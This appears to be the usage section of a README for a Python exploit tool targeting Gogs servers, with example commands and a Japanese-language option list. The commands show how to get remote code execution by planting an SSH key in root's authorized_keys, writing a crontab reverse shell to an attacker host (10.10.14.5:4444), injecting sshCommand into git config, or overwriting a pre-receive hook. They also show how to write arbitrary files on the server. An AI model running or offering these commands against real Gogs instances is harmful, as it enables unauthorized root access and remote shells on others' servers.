# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

target                  Gogs ベース URL（例：http://target:3000）

認証:
  -u, --user            Gogs ユーザー名
  -p, --password        Gogs パスワード

RCE 戦略:
  --rce-keys PUBKEY     SSH 公開鍵を仕込み → /root/.ssh/authorized_keys
  --rce-cron            リバースシェル → /etc/crontab
  --rce-ssh             .git/config の sshCommand を汚染しトリガー
  --rce-hook            pre-receive フックを上書きしトリガー
  --write               汎用任意ファイル書き込み

接続 / ペイロード:
  --lhost LHOST         リバースシェル用の攻撃者 IP
  --lport LPORT         リバースシェル用の攻撃者ポート
  --target-file PATH    上書きするサーバーパス（--write モード）
  --content STRING      書き込む内容
  --content-file FILE   ローカルファイルの内容を書き込み

オプション:
  --repo NAME           リポジトリ名（デフォルト：ランダム）
  --cleanup             完了後にエクスプロイトリポジトリを削除
  -o, --output FILE     レポートファイル（デフォルト：loot.json）
  --timeout SECONDS     リクエストタイムアウト（デフォルト：15）
  --proxy URL           デバッグ用 HTTP プロキシ
  --check-only          ターゲットが Gogs かどうかのみチェックし、エクスプロイトは行わない